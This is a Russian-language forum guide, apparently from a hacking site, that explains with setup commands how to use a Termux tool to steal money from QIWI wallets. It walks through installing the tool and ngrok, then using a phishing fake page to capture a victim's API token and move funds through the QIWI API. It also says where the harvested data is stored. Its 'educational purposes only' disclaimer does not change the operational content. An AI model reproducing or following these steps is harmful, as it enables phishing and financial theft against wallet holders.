Гайд Как взламывают QIWI в 2022 году, подробное объяснение

[wlux.net]

В этой статье мы затронем тему безопасности Qiwi-кошельков, а именно, как злоумышленник может нагло стырить деньги с вашего счёта.

Но всё это исключительно в целях предостеречь вас от взлома, а не научить взламывать чужие аккаунты.

ДИСКЛЕЙМЕР:

Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Спасибо!

Установка:​

Начнём с установки. Её можно произвести даже в Termux.

Сначала ставим необходимые для работы пакеты:

apt update
apt install git -y
apt install python -y
apt install php -y
apt install libgnutls -y
pip install colorama
pip install SimpleQIWI

Далее качаем репозиторий:

git clone https://github.com/TermuxGuide/qiwi

Установка ngrok (для фишинга):​

git clone https://github.com/tchelospy/termux-ngrok
cd termux-ngrok
bash termux-ngrok.sh
cd /home

Запуск:​

Переходим в директорию и запускаем:

cd qiwi
python qiwi.py

Использование:​

В программе имеется 3 пункта для атаки:

[1] QIWI API (web version) | веб версия

[2] QIWI API (terminal) | в терминале

[3] Fishing fake site | фишинг

Первый пункт позволяет запустить веб-версию управления счётом через Qiwi API.

Qiwi API - Это специальный токен, который можно раздобыть в настройках своего Qiwi-кошелька.

Вводим необходимые данные для перевода в соответствующие строки и наблюдаем за успешным переводом:


Второй пункт отличается лишь способом управления:



Третий пункт - фишинг.

С помощью него можно создать фейковую страницу, чтобы узнать токен жертвы для использования первых двух пунктов.

Запускаем фишинг, а в другом терминале ngrok:

ngrok http 8080

Переходим по получившейся ссылке в ngrok и видим такую шнягу:







(Если у вас не отображается ссылка на ngrok - попробуйте включить точку доступа и запустить заново)

Когда жертва введёт свои данные, они отобразятся в терминале.

Либо запускаем новую сессию и смотрим файл, в который сохраняются данные:

cd
cd qiwi_api
cd fish
cat counter.txt

 

[TDerCrafting]

Вот почему я никогда не заведу киви кошелёк